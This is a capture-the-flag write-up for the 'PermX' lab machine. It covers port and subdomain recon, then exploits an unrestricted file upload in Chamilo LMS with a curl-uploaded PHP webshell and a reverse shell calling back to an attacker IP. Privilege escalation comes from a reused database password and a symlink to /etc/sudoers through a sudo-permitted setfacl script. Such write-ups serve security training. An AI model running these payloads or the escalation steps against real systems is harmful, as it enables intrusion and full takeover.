Skip to main content

PermX Write-Up

· 6 min read

PermX Overview

This machine is aimed to exploit the Chamillo learning platform through an unrestricted file upload vulnerability.

Recon

nmap

nmap finds two open TCP ports, SSH (22), HTTP (80):

nmap -p- --open --min-rate=5000 -Pn -T4 -oN nmap/open_ports 10.129.145.196
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-04 20:59 CET
Nmap scan report for 10.129.145.196
Host is up (0.045s latency).
Not shown: 62002 closed tcp ports (reset), 3531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds
nmap -p 22,80 -sV -sC -oN nmap/services_version 10.129.145.196
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-04 21:06 CET
Nmap scan report for 10.129.145.196
Host is up (0.047s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

Website by IP - TCP 80

Add a new entry to the /etc/hosts file to access the webpage:

echo -e "10.129.145.196 permx.htb" | tee -a /etc/hosts

The site is an Online Learning Platform:

Website Overview

Subdomain Fuzz

Use ffuf to list if there are virtual hosts:

$ ffuf -w /usr/share/wordlists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -t 200 -ic -fw 18 -o ffuf/subdomains

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0-dev

---

:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/wordlists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.permx.htb
:: Output file : subdomains
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 18

---

lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 74ms]
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 4864ms]
:: Progress: [100000/100000] :: Job [1/1] :: 499 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

Update the /etc/hosts file with the new subdomains found:

10.129.145.196 permx.htb www.permx.htb lms.permx.htb

Chamilo

This site offers a login form based on a PHP learning platform called Chamilo:

Subdomain Chamilo Login

At the bottom right there is an administrator name “Davis Miller” with the email “admin@permx.htb”.

Looking around in google I found this CVE where you can upload file to lead to remote code execution via a webshell.

For this attack to work, the /main/inc/lib/javascript/bigupload/files folder must and does exist.

Simple PHP File

The folder is empty. Following the CVE I will create a simple PHP file returning the id shell command and using curl I will upload the file:

$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.

The id shell command is successfully executed, confirming the unrestricted file upload vulnerability:

Simple PHP File Executed

PHP Reverse Shell

Go to this GitHub repo to get the reverse shell updating this chunk of code:

set_tile_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.47'; // attacker_ip
$port = 1234; // attacker_port
$chunk_size = 1400;
$write_a = null;
$error_b = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

I upload the reverse shell using curl again:

$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.

Execute it using curl:

$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/php-reverse-shell.php'

Using netcat I log in as www-data user:

$ nc -nvlp 1234
Connecttion from 10.129.201.38:60566
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 GNU/Linux
18:13:45 up 1:26, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can0t access tty: job control turned off
$ whoami
www-data

There is only one user with a home directory:

$ ls -l home
total4
drwxr-x--- 4 mtz mtz 4096 Jun 6 05:24 mtz

The www-data can’t access either the mtz directory or /root.

The /var/www/chamilo/app/config folder contains a file named configuration.php, the file is very long but it starts with the DB connection information:

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

The password is 03F6lY3uXAP2bkW8.

Shell as mtz

That password is shared as the password for the mtz user, using the su command you can switch to that user. If I connect through ssh the user.txt flag is there:

mtz@permx:~$ ls -l
total 4
-rw-r----- 1 root mtz 33 Sep 7 16:48 user.txt
mtz@permx:~$ cat user.txt
1cdfd162************************

Shell as root

mtz can run a Bash script as any user with sudo:

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh

The script allows the user to set the file access control list (FACL) for a file using the setfacl command:

#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

I create a soft link to give permissions to the mtz user in the /etc/sudoers file because by default only root can access this file:

ln -s /etc/sudoers /home/mtz/sudoers
sudo /opt/acl.sh mtz rw /home/mtz/sudoers

I add a new entry at the end of the /home/mtz/sudoers file to have permissions as root user:

mtz ALL=(ALL) NOPASSWD: ALL

I switch to root user to get the root.txt flag:

mtz@permx:~$ sudo su
root@permx:/home/mtz# ls
sudoers user.txt
root@permx:/home/mtz# ls /root
backup reset.sh root.txt
root@permx:/home/mtz# cat /root/root.txt
a70dea42************************

And the machine is pwned! ;)

References